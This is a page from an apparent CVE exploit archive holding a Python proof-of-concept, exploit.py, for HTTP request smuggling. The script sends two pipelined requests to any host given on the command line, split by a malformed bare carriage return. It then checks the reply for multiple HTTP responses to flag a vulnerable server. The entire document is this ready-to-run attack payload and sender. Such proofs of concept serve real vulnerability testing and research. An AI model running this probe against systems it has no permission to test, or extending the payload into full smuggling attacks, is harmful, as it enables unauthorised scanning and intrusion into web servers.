4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import socket
import sys

def check_vuln(host, port=80):
    # Craft the payload
    smuggled_payload = (
        "GET / HTTP/1.0\r\n"
        f"Host: {host}\r\n"
        "Connection: keep-alive\r\n"
        "\rX"  # Malformed termination
        "GET / HTTP/1.0\r\n"
        f"Host: {host}\r\n"
        "Connection: close\r\n"
        "\r\n"
    )

    print("[+] Raw request being sent:\n")
    print(smuggled_payload.encode().decode('latin1'))  # Using latin1 to preserve raw bytes

    try:
        s = socket.create_connection((host, port))
        s.sendall(smuggled_payload.encode('latin1'))

        response = b""
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            response += chunk

        s.close()

        print("\n[+] Raw response received:\n")
        print(response.decode('latin1', errors='replace'))  # latin1 preserves byte-for-byte mapping

        if response.count(b'HTTP/') > 1:
            print("\n[!] Potential vulnerability detected: multiple HTTP responses found.")
        else:
            print("\n[*] No multiple HTTP responses found.")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: python {sys.argv[0]} <host> [port]")
        sys.exit(1)

    target_host = sys.argv[1]
    target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
    check_vuln(target_host, target_port)